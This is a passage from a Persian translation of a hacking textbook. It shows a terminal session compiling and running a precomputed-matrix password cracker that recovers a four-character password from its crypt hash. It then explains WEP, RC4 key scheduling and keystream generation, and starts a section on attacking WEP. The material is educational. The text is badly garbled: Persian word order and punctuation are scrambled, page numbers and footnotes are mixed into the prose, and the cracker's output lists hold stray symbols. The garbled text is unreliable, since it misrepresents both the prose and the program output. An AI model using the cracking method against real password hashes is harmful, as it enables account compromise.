$ ls -lh 4char.ppm
-rw-r--r-- 1 matrix users 141M Dec 19 18:52 4char.ppm
$
را ﻣﯽ ﺗﻮان ﺑﻪ ﻣﻨﻈﻮر ﮐﺮک ﮐﺮدن ﭘـﺴﻮرد در ﺧـﻼل ﭼﻨـﺪ ﺛﺎﻧﯿـﻪ اﺳـﺘﻔﺎده ﮐـﺮدppm_crack.c دوﻣﯿﻦ ﻗﻄﻌﻪ ﮐﺪ ﯾﻌﻨﯽ
اﯾﻦ ﻣﻄﻠـﺐ در زﯾـﺮ ﻧـﺸﺎن داده.(" – ﭼﻮن ﺗﻤﺎم ﭘﺴﻮردﻫﺎی ﻣﻤﮑﻦ ﺗﻮﻟﯿﺪ ﺷﺪه اﻧﺪh4R%" )ﺣﺘﯽ ﭘﺴﻮرد دﺷﻮاری ﻣﺜﻞ
:ﺷﺪه اﺳﺖ
$ gcc -O3 -o crack ppm_crack.c -lcrypt
$ perl -e '$hash = crypt("h4R%", "je"); print "$hash\n";'
jeMqqfIfPNNTE
$ ./crack
Input encrypted password (salted with 'je') : jeMqqfIfPNNTE
First 2 characters: Saturation
sing length = 3801 42.116343%
dual length = 1666 18.459834%
trip length = 695 7.700831%
quad length = 287 3.180055%
4 9 N !& !M !Q "/ "5 "W #K #d #g #p $K $O $s %) %Z %\ %r &( &T '- '0 '7 'D
'F (
(v (| )+ ). )E )W *c *p *q *t *x +C -5 -A -[ -a .% .D .S .f /t 02 07 0? 0e
0{ 0| 1A
1U 1V 1Z 1d 2V 2e 2q 3P 3a 3k 3m 4E 4M 4P 4X 4f 6 6, 6C 7: 7@ 7S 7z 8F 8H
9R 9U 9_
9~ :- :q :s ;G ;J ;Z ;k <! <8 =! =3 =H =L =N =Y >V >X ?1 @# @W @v @| AO B/
B0 BO Bz
C( D8 D> E8 EZ F@ G& G? Gj Gy H4 I@ J JN JT JU Jh Jq Ks Ku M) M{ N, N: NC
NF NQ Ny
O/ O[ P9 Pc Q! QA Qi Qv RA Sg Sv T0 Te U& U> UO VT V[ V] Vc Vg Vi W: WG X"
X6 XZ X'
Xp YT YV Y^ Yl Yy Y{ Za [$ [* [9 [m [z \" \+ \C \O \w ]( ]: ]@ ]w _K _j 'q
a. aN a^
ae au b: bG bP cE cP dU d] e! fI fv g! gG h+ h4 hc iI iT iV iZ in k. kp l5
l' lm lq
m, m= mE n0 nD nQ n~ o# o: o^ p0 p1 pC pc q* q0 qQ q{ rA rY s" sD sz tK tw
u- v$ v.
178
v3 v; v_ vi vo wP wt x" x& x+ x1 xQ xX xi yN yo zO zP zU z[ z^ zf zi zr zt
{- {B {a
|s }) }+ }? }y ~L ~m
Last 2 characters: Saturation
sing length = 3821 42.337950%
dual length = 1677 18.581717%
trip length = 713 7.900277%
quad length = 297 3.290859%
! & != !H !I !K !P !X !o !~ "r "{ "} #% #0 $5 $] %K %M %T &" &% &( &0 &4 &I
}& &q
'B 'Q 'd )j )w *I *] *e *j *k *o *w *| +B +W ,' ,J ,V -z . .$ .T /' /_ 0Y
!0i 0s 1
\1= 1l 1v 2- 2/ 2g 2k 3n 4K 4Y 4\ 4y 5- 5M 5O 5} 6+ 62 6E 6j 7* 74 8E 9Q 9
9a 9b :8
@:; :A :H :S :w ;" ;& ;L <L <m <r <u =, =4 =v >v >x ?& ?' ?j ?w @0 A* B B
BT C8 CF
CJ CN C} D+ D? DK Dc EM EQ FZ GO GR H) Hj I: I> J( J+ J3 J6 Jm K# K) K@ L,
*L1 LT N
*NW N' O= O[ Ot P: P\ Ps Q- Qa R% RJ RS S3 Sa T! T$ T@ TR T_ Th U" U1 V
V{ W3 Wy Wz
~^ [^ X% X* Y* Y? Yw Z7 Za Zh Zi Zm [F \( \3 \5 \_ \a \b \| ]$ ]. ]2 ]? ]d
'1 'F 'f
\'y a8 a= aI aK az b, b- bS bz c( cg dB e, eF eJ eK eu fT fW fo g( g> gW g
h$ h9 h:
h@ hk i? jN ji jn k= kj l7 lo m< m= mT me m| m} n% n? n~ o oF oG oM p" p9
p\ q} r6
r= rB sA sN s{ s~ tX tp u u2 uQ uU uk v# vG vV vW vl w* w> wD wv x2 xA y:
y= y? yM
yU yX zK zv {# {) {= {O {m |I |Z }. }; }d ~+ ~C ~a
Building probability vectors...
Cracking remaining 85239 possibilites..
Password : h4R%
$
اﻣﻨﯿﺖ ﻣﺪل ﺑﯽ ﺳﯿﻢ 802.11bﯾﮏ ﭼﺎﻟﺶ ﺑـﺰرگ اﺳـﺖ .ﻋـﻮاﻣﻠﯽ ﻣﺜـﻞ ﺿـﻌﻒ در ،115WEPروش رﻣﺰﻧﮕـﺎری ﻣـﻮرد
اﺳﺘﻔﺎده در ﺣﯿﻄﻪ ﺑﯽ ﺳﯿﻢ ﻋﻮاﻣﻞ ﻣﻬﻢ در ﻧﺎ اﻣﻨﯽ ﻫﺴﺘﻨﺪ .ﺟﺰﺋﯿﺎت دﯾﮕﺮی وﺟﻮد دارﻧﺪ ﮐﻪ ﮔﺎﻫﯽ اوﻗﺎت در ﺣﯿﻦ آراﯾﺶ
ﺑﯽ ﺳﯿﻤﯽ ) (wireless deployﻧﺎدﯾﺪه ﮔﺮﻓﺘﻪ ﻣﯽ ﺷﻮﻧﺪ .اﯾﻦ ﺟﺰﺋﯿﺎت در ﻋﻤﻞ ﺑﻪ آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی اﺳﺎﺳﯽ ﻧﺎﺷﯽ ﻣـﯽ
ﺷﻮﻧﺪ.
اﯾﻦ ﺣﻘﯿﻘﺖ ﮐﻪ ﺷﺒﮑﻪ ﻫﺎی ﺑﯽ ﺳﯿﻢ روی ﻻﯾﻪ 2وﺟﻮد داﺷﺘﻪ و ﻋﻤﻞ ﻣﯽ ﮐﻨﻨﺪ ﯾﮑﯽ از اﯾﻦ ﺟﺰﺋﯿﺎت اﺳﺖ .اﮔﺮ روی ﺷﺒﮑﻪ
ﺑﯽ ﺳﯿﻢ ،دﯾﻮار آﺗﺶ ﻓﻌﺎل ﻧﺒﺎﺷﺪ ﯾﺎ ﻗﺎﺑﻠﯿﺖ VLANﻏﯿﺮﻓﻌﺎل ﻧﺸﺪه ﺑﺎﺷﺪ ،ﯾﮏ ﻧﻔﻮذﮔﺮ ﮐﻪ ﺑﺎ ﻧﻘﻄـﻪ دﺳﺘﺮﺳـﯽ ﺑـﯽ ﺳـﯿﻢ
) 116(APدر ارﺗﺒﺎط اﺳﺖ ﻣﯽ ﺗﻮاﻧﺪ ﺑﺎ ،ARP Redirectionﺗﻤﺎم ﺗﺮاﻓﯿﮏ ﺷﺒﮑﻪ ﺑﺎ ﺳﯿﻢ را روی ﺷﺒﮑﻪ ﺑﯽ ﺳﯿﻢ ﻫـﺪاﯾﺖ
ﮐﻨﺪ .اﯾﻦ ﻣﺴﺌﻠﻪ در ﮐﻨﺎر اﯾﻦ ﺣﻘﯿﻘﺖ ﮐﻪ اﻏﻠﺐ APرا در ﺷﺒﮑﻪ ﻫﺎی ﺧﺼﻮﺻﯽ داﺧﻠﯽ ﺑﻪ ﻋﻨﻮان راﺑﻂ اﺳﺘﻔﺎده ﻣـﯽ ﮐﻨﻨـﺪ،
ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی ﺟﺪی ﺑﯿﺎﻧﺠﺎﻣﺪ.
اﻟﺒﺘﻪ اﮔﺮ WEPﻓﻌﺎل ﺑﺎﺷﺪ ،ﻓﻘﻂ ﮐﻼﯾﻨﺖ ﻫﺎی ﺑﺎ ﮐﻠﯿﺪ WEPﺻﺤﯿﺢ ،اﺟﺎزه ارﺗﺒﺎط ﺑﺎ APرا ﺧﻮاﻫﻨﺪ داﺷﺖ .اﮔـﺮ WEP
اﯾﻤﻦ ﺑﺎﺷﺪ ،ﻧﺒﺎﯾﺴﺘﯽ ﻫﯿﭻ ﮔﻮﻧﻪ ﻧﮕﺮاﻧﯽ ﺣﻮل ارﺗﺒﺎط ﻧﻔﻮذﮔﺮان ﺑﺎ APو اﯾﺠﺎد ﺧﺴﺎرت وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ .اﮐﻨـﻮن ﺳـﻮال
اﯾﻨﺠﺎﺳﺖ ﮐﻪ ﭼﻄﻮر WEPاﯾﻤﻦ اﺳﺖ؟
115
Wired Equivalent Privacy
116
Wireless Access Point
179
.4,7,1ﻣﺤﺮﻣﺎﻧﮕﯽ ﺳﯿﻤﯽ ﻣﻌﺎدل )(WEP
ﻃﺮح ) WEPﯾﺎ (Wired Equivalent Privacyﺑﻪ ﻋﻨﻮان ﯾﮏ روش رﻣﺰﻧﮕﺎری ﻣﻮرد اﺳﺘﻔﺎده اﺳﺖ ﺗﺎ اﻣﻨﯿﺘﯽ ﻣﻌﺎدل
ﺑﺎ ﯾﮏ ﻧﻘﻄﻪ دﺳﺘﺮﺳﯽ ﺳﯿﻤﯽ ) (wired access pointرا ﻓﺮاﻫﻢ آورد WEP .در اﺑﺘﺪا ﺑﺎ ﮐﻠﯿﺪﻫﺎی 40ﺑﯿﺘﯽ ﻃﺮاﺣﯽ ﺷﺪ
و ﺑﻌﺪا WEP2ﺟﻬﺖ اﻓﺰاﯾﺶ اﻧﺪازه ﮐﻠﯿﺪ ﺑﻪ 104ﺑﯿﺖ ﭘﺪﯾﺪار ﺷﺪ .ﺗﻤﺎم ﻓﺮآﯾﻨﺪ رﻣﺰﻧﮕﺎری در اﯾﻦ ﻃﺮح ﺑﺮ اﺳﺎس ﯾﮏ
ﻗﺎﻋﺪه ﻣﺒﻨﯽ ﺑﺮ ﺑﺴﺘﻪ اﻧﺠﺎم ﻣﯽ ﺷﻮد ،ﺑﻨﺎﺑﺮاﯾﻦ ﻻزم اﺳﺖ ﮐﻪ ﻫﺮ ﺑﺴﺘﻪ ﺣﺎوی ﯾﮏ ﭘﯿﺎم ﻣﺘﻦ واﺿﺢ ﺟﺪاﮔﺎﻧـﻪ ﺟﻬـﺖ ارﺳـﺎل
ﺑﺎﺷﺪ .اﯾﻦ ﺑﺴﺘﻪ را ﭘﯿﺎم ﯾﺎ Mﻣﯽ ﻧﺎﻣﯿﻢ.
اﺑﺘﺪا ﯾﮏ ﭼﮑﺴﺎم 117ﺑﺮای ﭘﯿﺎم Mﻣﺤﺎﺳﺒﻪ ﻣﯽ ﺷﻮد ﺗﺎ ﺑﻌـﺪا ﺑﺘـﻮان ﺻـﺤﺖ ﭘﯿـﺎم ) (message integrityرا ﺑﺮرﺳـﯽ
ﮐﺮد .اﯾﻦ ﮐﺎر ﺑﺎ اﺳﺘﻔﺎده از ﯾﮏ ﺗﺎﺑﻊ ﺑﺮرﺳﯽ اﻓﺰوﻧﮕﯽ ﭼﺮﺧﻪ ای 32ﺑﯿﺘﯽ ) (CRC32اﻧﺠﺎم ﻣﯽ ﺷـﻮد .اﯾـﻦ ﭼﮑـﺴﺎم CS
ﻧﺎﻣﯿﺪه ﺷﺪه )ﭘﺲ ) (CS = CRC32(Mو ﺑﻪ اﻧﺘﻬﺎی ﭘﯿﺎم اﺿﺎﻓﻪ ﻣﯽ ﺷﻮد ﮐﻪ ﻧﻬﺎﯾﺘﺎ ﭘﯿـﺎم ﻣـﺘﻦ واﺿـﺢ ﯾـﺎ Pﺳـﺎﺧﺘﻪ ﻣـﯽ
ﺷﻮد.
اﮐﻨﻮن ﭘﯿﺎم ﻣﺘﻦ واﺿﺢ ﺑﺎﯾﺪ رﻣﺰی ﺷﻮد ﮐﻪ اﯾﻦ ﮐﺎر ﺑﺎ ﻃﺮح RC4ﮐﻪ ﯾﮏ رﻣﺰ ﺟﺮﯾﺎﻧﯽ اﺳﺖ اﻧﺠﺎم ﻣﯽ ﺷﻮد .اﯾـﻦ رﻣـﺰ ﺑـﺎ
ﯾــﮏ ﻣﻘــﺪار ﺑﻨﯿــﺎدی ) (seed valueﻣﻘــﺪار دﻫــﯽ اوﻟﯿـﻪ ﻣــﯽ ﺷــﻮد .ﺳــﭙﺲ اﯾــﻦ ﻣﻘــﺪار ﻣــﯽ ﺗﻮاﻧــﺪ ﯾــﮏ ﺟﺮﯾــﺎن ﮐﻠﯿــﺪ
) (keystreamرا ﺗﻮﻟﯿﺪ ﮐﻨﺪ ﮐﻪ ﯾﮏ ﺟﺮﯾﺎن دﻟﺨﻮاه ﻃﻮﻻﻧﯽ از ﺑﺎﯾﺖ ﻫﺎی ﺷﺒﻪ ﺗﺼﺎدﻓﯽ اﺳﺖ WEP.از ﯾﮏ ﺑـﺮدار اوﻟﯿـﻪ
) 118(IVﺑﺮای ﻣﻘﺪار ﺑﻨﯿﺎدی اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ .ﺑﺮدار اوﻟﯿﻪ ﺷﺎﻣﻞ 24ﺑﺎﯾﺖ از ﺑﯿﺖ ﻫﺎی ﻣﺨﺘﻠﻒ اﺳﺖ ﮐﻪ ﺑﺮای ﻫـﺮ ﺑـﺴﺘﻪ
ﺗﻮﻟﯿﺪ ﺷﺪه اﻧﺪ .ﺑﻌﻀﯽ از ﭘﯿﺎده ﺳﺎزی ﻫﺎی ﻗﺪﯾﻤﯽ ﺗﺮ WEPاز ﻣﻘـﺎدﯾﺮ ﻣﺘـﻮاﻟﯽ ﺑـﺮای ﺑـﺮدار اوﻟﯿـﻪ اﺳـﺘﻔﺎده ﻣـﯽ ﮐﻨﻨـﺪ،
درﺣﺎﻟﯿﮑﻪ ﺑﻌﻀﯽ دﯾﮕﺮ از ﯾﮏ ﺷﺒﻪ ﻣﻮﻟﺪ ﯾـﺎ ﺗﻮﻟﯿﺪﮐﻨﻨـﺪه ﮐـﺎذب ) (pseudo-randomizerﺟﻬـﺖ ﺗﻮﻟﯿـﺪ ﻣﻘـﺎدﯾﺮ ﺷـﺒﻪ
ﺗﺼﺎدﻓﯽ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ.
ﺻﺮﻓﻨﻈﺮ از ﭼﮕﻮﻧﮕﯽ اﻧﺘﺨﺎب 24ﺑﯿﺖ در ﺑﺮدار اوﻟﯿﻪ )ﺗﺼﺎدﻓﯽ ﯾﺎ ﻣﺘﻮاﻟﯽ( ،آن ﺑﯿﺖ ﻫﺎ ﺑﻪ اﺑﺘﺪای ﮐﻠﯿﺪ WEPاﺿـﺎﻓﻪ ﻣـﯽ
ﺷﻮﻧﺪ 24 .ﺑﯿﺖ ﻣﺮﺑﻮط ﺑﻪ ﺑﺮدار اوﻟﯿﻪ در اﻧﺪازه ﮐﻠﯿﺪ WEPﺑﻪ ﺣﺴﺎب ﻣﯽ آﯾﻨﺪ )ﺑﻪ اﯾﻦ ﺻـﻮرت ﻫﻨﮕـﺎﻣﯽ ﮐـﻪ ﺳـﺨﻦ از
ﮐﻠﯿﺪ ﻫﺎی 64ﺑﯿﺘﯽ ﯾﺎ 128ﺑﯿﺘﯽ ﺑﺮای ﮐﻠﯿﺪﻫﺎی WEPﻣﯽ رود ،آﻧﮕﺎه ﮐﻠﯿﺪﻫﺎی واﻗﻌﯽ ﺑﻪ ﺗﺮﺗﯿﺐ ﻓﻘﻂ 40ﺑﯿﺖ ﯾﺎ 104
ﺑﯿﺖ ﻃﻮل دارﻧﺪ( .ﺑﺮدار اوﻟﯿﻪ و ﮐﻠﯿﺪ WEPﺑﺎ ﻫﻢ ﻣﻘﺪار ﺑﻨﯿﺎدی را ﻣﯽ ﺳﺎزﻧﺪ ﮐﻪ Sﻧﺎم ﻣﯽ ﮔﯿﺮد.
ﺳﭙﺲ Sﺑﻪ ﻋﻨﻮان ورودی ﺑﻪ ﺗﺎﺑﻊ RC4داده ﺷﺪه و ﺧﺮوﺟﯽ آن ﯾﮏ ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺧﻮاﻫﺪ ﺑﻮد .ﺳﭙﺲ Pﺑﺎ اﯾـﻦ ﺟﺮﯾـﺎن
ﮐﻠﯿﺪ XOR ،ﺧﻮاﻫﺪ ﺷﺪ و ﻣﺘﻦ رﻣﺰی را ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ ﮐﻪ Cﻧﺎم ﻣﯽ ﮔﯿﺮد .ﺳﭙﺲ ﺑـﺮدار اوﻟﯿـﻪ ﺑـﻪ اﺑﺘـﺪای ﻣـﺘﻦ رﻣـﺰی
117ﻋﺒﺎرت ) Checksumﭼﮑﺴﺎم( ﯾﺎ Sumation Checkﯾﺎ ﻣﺠﻤﻮع ﻣﻘﺎﺑﻠﻪ ای ،ﺑﺮرﺳﯽ ﺗﺠﻤﯿﻌﯽ ﯾﺎ دﯾﮕﺮ ﻧﺎم ﻫﺎی ﻣﻮرد اﺳﺘﻔﺎده ،اﺻﻄﻼﺣﺎ ﺑﻪ
ﻓﺮآﯾﻨﺪی اﻃﻼق ﻣﯽ ﺷﻮد ﮐﻪ ﺑﻌﻀﯽ از ﺑﯿﺖ ﻫﺎی اﻧﺘﻘﺎﻟﯽ در ﯾﮏ ﻓﺮآﯾﻨﺪ اﻧﺘﻘﺎل )ﻣﺜﻼ در ﺷﺒﮑﻪ( ﺑﺮرﺳﯽ ﻣﯽ ﺷﻮﻧﺪ ﺗﺎ ﺑﻪ اﯾﻦ ﺻﻮرت ﺧﻄﺎﻫﺎی
ﻣﻮﺟﻮد در ﻓﺮآﯾﻨﺪ اﻧﺘﻘﺎل ﮐﺸﻒ ﺷﻮﻧﺪ.
118
Initialization Vector
180
اﺿﺎﻓﻪ ﻣﯽ ﺷﻮد .اﯾﻦ ﻣﺎﻫﯿﺖ ﺑﻮﺟﻮد آﻣﺪه )ﻣﺘﺸﮑﻞ از ﻣﺘﻦ رﻣﺰی و ﺑﺮدار اوﻟﯿﻪ( ﺑﻪ ﻫﻤﺮاه ﯾﮏ ﻫـﺪر ﮐﭙـﺴﻮﻟﻪ ﺳـﺎزی ﻣـﯽ
ﺷﻮﻧﺪ و ﻧﻬﺎﯾﺘﺎ از ﻃﺮﯾﻖ اﺗﺼﺎل رادﯾﻮﯾﯽ ارﺳﺎل ﻣﯽ ﺷﻮﻧﺪ.
ﻫﻨﮕﺎم درﯾﺎﻓﺖ ﺑﺴﺘﻪ رﻣﺰی WEPدر ﻃﺮف ﮔﯿﺮﻧﺪه ،ﻓﺮاﯾﻨﺪ ﺑﻪ ﻃﻮر ﻋﮑﺲ ﭘﯿﺶ ﻣﯽ رود .ﮔﯿﺮﻧﺪه ﺑﺮدار اوﻟﯿﻪ را از ﭘﯿـﺎم
ﺟﺪا ﮐﺮده و آﻧﺮا ﺑﺎ ﮐﻠﯿﺪ WEPﺧﻮد ﺗﻠﻔﯿﻖ ﻣﯽ ﮐﻨﺪ .ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﻘﺪار ﺑﻨﯿﺎدی Sﺳﺎﺧﺘﻪ ﻣﯽ ﺷـﻮد .اﮔـﺮ ﻓﺮﺳـﺘﻨﺪه و
ﮔﯿﺮﻧﺪه ﻫﺮ دو ﮐﻠﯿﺪ WEPﯾﮑﺴﺎﻧﯽ داﺷﺘﻪ ﺑﺎﺷﻨﺪ ،ﻣﻘﺎدﯾﺮ ﺑﻨﯿﺎدی ﻧﯿﺰ ﯾﮑﺴﺎن ﺧﻮاﻫﺪ ﺑﻮد .ﻣﺠﺪدا اﯾـﻦ ﻣﻘـﺪار ﺑﻨﯿـﺎدی ﺑـﻪ
ﻋﻨﻮان ورودی ﺑﻪ RC4داده ﺷﺪه و ﻫﻤﺎن ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﻗﺒﻠﯽ ﮐﻪ ﺑﺎ ﺑﺎﻗﯿﻤﺎﻧﺪه ی ﭘﯿﺎم رﻣﺰﺷـﺪه XORﺷـﺪه اﺳـﺖ ﺗﻮﻟﯿـﺪ
ﻣﯽ ﮐﻨﺪ .ﺑﻪ اﯾﻦ ﺻﻮرت ﭘﯿﺎم واﺿﺢ اﺻﻠﯽ ) (Pﮐﻪ ﻣﺘﺸﮑﻞ از ﺗﻠﻔﯿﻖ ﺑﺴﺘﻪ ﭘﯿﺎم ) (Mو ﻣﻘﺪار ﭼﮑﺴﺎم ) (CSاﺳﺖ ﺗﻮﻟﯿﺪ ﻣﯽ
ﺷﻮد .ﺳﭙﺲ ﮔﯿﺮﻧﺪه از ﻫﻤﺎن ﺗﺎﺑﻊ CRC32ﺑﻪ ﻣﻨﻈﻮر ﺗﻮﻟﯿﺪ ﻣﺠﺪد ﭼﮑﺴﺎم ﺑﺮای Mاﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ و ﺑﻪ اﯾـﻦ ﻃﺮﯾـﻖ از
ﯾﮑﺴﺎن ﺑﻮدن ﻣﻘﺪار ﻣﺤﺎﺳﺒﻪ ﺷﺪه ﺑﺎ ﻣﻘﺪار درﯾﺎﻓﺖ ﺷﺪه از CSاﻃﻤﯿﻨﺎن ﺣﺎﺻﻞ ﻣﯽ ﮐﻨﺪ .اﮔﺮ ﭼﮑﺴﺎم ﻫﺎ ﯾﮑـﺴﺎن ﺑﺎﺷـﻨﺪ،
ﺑﺴﺘﻪ ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮد ،در ﻏﯿﺮ اﯾﻦ ﺻﻮرت اﺣﺘﻤﺎﻻ ﯾﺎ ﺧﻄﺎﻫـﺎی اﻧﺘﻘـﺎﻟﯽ زﯾـﺎدی وﺟـﻮد داﺷـﺘﻪ اﺳـﺖ ﯾـﺎ ﮐﻠﯿـﺪﻫﺎی WEP
ﯾﮑﺴﺎن ﻧﺒﻮده اﻧﺪ و ﺑﻪ اﯾﻦ ﺗﺮﺗﯿﺐ ﺑﺴﺘﻪ ﺣﺬف ﻣﯽ ﮔﺮدد.
اﺳﺎس ﻋﻤﻠﮑﺮد WEPاراﺋﻪ ﺷﺪ.
RC4ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﺳﺎده اﺳﺖ ﮐـﻪ ﺑـﺎ دو اﻟﮕـﻮرﯾﺘﻢ دﯾﮕـﺮ ﮐـﺎر ﻣـﯽ ﮐﻨـﺪ :اﻟﮕـﻮرﯾﺘﻢ زﻣـﺎن ﺑﻨـﺪی ﮐﻠﯿـﺪ ) 119(KSAو
اﻟﮕﻮرﯾﺘﻢ ﻣﻮﻟﺪ ﺷﺒﻪ ﺗﺼﺎدﻓﯽ ) .120(PRGAﻫﺮ دوی اﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﻫﺎ از ﯾﮏ ﺟﻌﺒﻪ ﻫﺸﺖ در ﻫـﺸﺖِ 121Sاﺳـﺘﻔﺎده ﻣـﯽ
ﮐﻨﻨﺪ ﮐﻪ آراﯾﻪ ای از 256ﻋﺪد ﯾﮑﺘﺎ و در ﺑﺎزه 0ﺗﺎ 255اﺳﺖ .ﺗﻮﺿﯿﺢ ﺳﺎده ﺗﺮ اﯾﻨﮑﻪ ﺗﻤﺎم ﺷـﻤﺎره ﻫـﺎی 0ﺗـﺎ 255در
آراﯾﻪ وﺟﻮد ﺧﻮاﻫﻨﺪ داﺷﺖ و ﻓﻘﻂ ﺑﻪ ﺻﻮر ﮔﻮﻧﺎﮔﻮن ﺗﺮﮐﯿﺐ )ﻣﺨﻠﻮط( ﻣﯽ ﺷﻮﻧﺪ .اﻟﮕﻮرﯾﺘﻢ KSAﻣﺒﻨﯽ ﺑﺮ ﻣﻘﺪار ﺑﻨﯿـﺎدی
داده ﺷﺪه ﺑﻪ آن ،اوﻟﯿﻦ ﺗﺮﮐﯿﺐ ﺗﺸﻮﯾﺸﯽ ) 122(scramblingرا ﺑﺎ ﺟﻌﺒﻪ Sدارد .اﯾﻦ ﻣﻘﺪار ﺑﻨﯿﺎدی ﺣﺪاﮐﺜﺮ ﻣﯽ ﺗﻮاﻧﺪ ﺗـﺎ
256ﺑﯿﺖ ﻃﻮل داﺷﺘﻪ ﺑﺎﺷﺪ.
اﺑﺘﺪا آراﯾﻪ ی ﺟﻌﺒﻪ Sﺑﺎ ﻣﻘﺎدﯾﺮ ﻣﺘﻮاﻟﯽ از 0ﺗﺎ 255ﭘﺮ ﻣﯽ ﺷﻮد .اﯾـﻦ آراﯾـﻪ را Sﻣـﯽ ﻧـﺎﻣﯿﻢ .ﺳـﭙﺲ آراﯾـﻪ 256ﺑـﺎﯾﺘﯽ
دﯾﮕﺮی ﺑﺎ ﻣﻘﺪار ﺑﻨﯿﺎدی ﭘﺮ ﻣﯽ ﺷﻮد .اﯾﻦ آراﯾﻪ Kﻧـﺎم ﻣـﯽ ﮔﯿـﺮد .ﺳـﭙﺲ آراﯾـﻪ Sﺑـﺎ ﺷـﺒﻪ ﮐـﺪ زﯾـﺮ ﺗﺮﮐﯿـﺐ-ﻣـﺸﻮش
) (scrambledﻣﯽ ﺷﻮد:
;j = 0
for i = 0 to 255
{
;j = (j + S[i] + K[i]) mod 256
119
Key Scheduling Algorithm
120
Pseudo Random Generation Algorithm
121
8-by-8 S-Box
122ﺗﺮﮐﯿﺐ ﺑﻪ ﺻﻮرت ﻧﺎﻣﻨﻈﻢ در آراﯾﻪ را ﺗﺮﮐﯿﺐ ﺗﺸﻮﯾﺸﯽ ﻣﯽ ﻧﺎﻣﯿﻢ.
181
;]swap S[i] and S[j
}
ﺳﭙﺲ ﺟﻌﺒﻪ Sﺑﺮ ﻣﺒﻨﺎی ﻣﻘﺪار ﺑﻨﯿﺎدی ﻣﺨﻠﻮط ﻣﯽ ﺷﻮد .اﯾﻦ ﻓﺮآﯾﻨﺪ ﻧﺴﺒﺘﺎ ﺳﺎده ،اﺳﺎس ﮐﺎر اﻟﮕﻮرﯾﺘﻢ زﻣﺎن ﺑﻨـﺪی ﮐﻠﯿـﺪ
ﯾﺎ KSAاﺳﺖ.
اﮐﻨﻮن ﺑﻬﻨﮕﺎم ﻧﯿﺎز ﺑﻪ ﺟﺮﯾﺎن ﮐﻠﯿﺪ از PRGAاﺳﺘﻔﺎده ﻣﯽ ﺷﻮد .اﯾﻦ اﻟﮕﻮرﯾﺘﻢ دو ﺷﻤﺎرﻧﺪه iو jدارد ﮐﻪ ﻫﺮ دو ﺑـﺎ ﺻـﻔﺮ
ﻣﻘﺪاردﻫﯽ اوﻟﯿﻪ ﺷﺪه اﻧﺪ .ﭘﺲ از آن ﺑﺮای ﻫﺮ ﺑﺎﯾﺖ داده از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ،ﺷﺒﻪ ﮐﺪ زﯾﺮ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد:
;i = (i + 1) mod 256
;j = (j + S[i]) mod 256
;]swap S[i] and S[j
;t = (S[i] + S[j]) mod 256
;]Output the value of S[t
ﺑﺎﯾﺖ ﺧﺮوﺟﯽ ] ،S[tاوﻟﯿﻦ ﺑﺎﯾﺖ ﺟﺮﯾﺎن ﮐﻠﯿﺪ اﺳﺖ .اﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﺑﺮای دﯾﮕﺮﺑﺎﯾﺖ ﻫﺎی ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﻧﯿﺰ ﺗﮑﺮار ﻣﯽ ﺷﻮد.
ﻃﺮح RC4ﺑﻪ اﻧﺪازه ﮐﺎﻓﯽ ﺳﺎده اﺳﺖ ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﺑﻪ راﺣﺘﯽ ﺣﻔﻆ ﮐﺮد .اﮔﺮ اﯾﻦ ﻃﺮح ﺑﺪرﺳﺘﯽ اﺳﺘﻔﺎده ﺷﻮد ﮐﺎﻣﻼ
اﯾﻤﻦ ﺧﻮاﻫﺪ ﺑﻮد .اﻣﺎ ﻣﺸﮑﻼﺗﯽ در روﺷﯽ ﮐﻪ از RC4در WEPاﺳﺘﻔﺎده ﻣﯽ ﺷﻮد وﺟﻮد دارد.
.4,8ﺣﻤﻠﻪ ﺑﻪ WEP
ﻣﺸﮑﻼﺗﯽ در راﺑﻄﻪ ﺑﺎ اﻣﻨﯿﺖ WEPوﺟﻮد دارﻧﺪ .اﻟﺒﺘﻪ ﺑﺎ ﮐﻤﯽ اﻧﺼﺎف ،ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻣﺨﻔﻒ آن ﻧﯿﺰ ﺑﯿـﺎن ﻣـﯽ دارد ،اﯾـﻦ
اﻟﮕﻮ ﻫﺮﮔﺰ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﭘﺮوﺗﮑﻞ رﻣﺰﻧﮕﺎری ﻣﺴﺘﺤﮑﻢ ﻣﺪ ﻧﻈﺮ ﻧﺒﻮده اﺳﺖ ،ﺑﻠﮑﻪ ﻓﻘﻂ ﺑﻪ ﻋﻨﻮان راﻫﯽ ﺟﻬـﺖ اراﺋـﻪ ﯾـﮏ
ﺿﺮﯾﺐ ﻣﺤﺮﻣﺎﻧﮕﯽ ﻣﻌﺎدل ﺑﺎ ﻃﺮﺣﻬﺎی ﺑﺎﺳﯿﻢ ﻣﻄﺮح ﺷﺪ .ﻃﺮف ﻧﻈﺮ از ﺿﻌﻒ ﻫﺎی اﻣﻨﯿﺘـﯽ ﻣﺮﺗﺒـﺎط ﺑـﺎ ﭘﯿﻮﺳـﺘﮕﯽ/ارﺗﺒـﺎط
) (associationو ﻫﻮﯾﺖ ﻫﺎ ) ،(identityﻣﺸﮑﻼﺗﯽ در راﺑﻄﻪ ﺑﺎ ﺧﻮد ﭘﺮوﺗﮑﻞ رﻣﺰﻧﮕـﺎری وﺟـﻮد دارﻧـﺪ .ﺑﻌـﻀﯽ از اﯾـﻦ
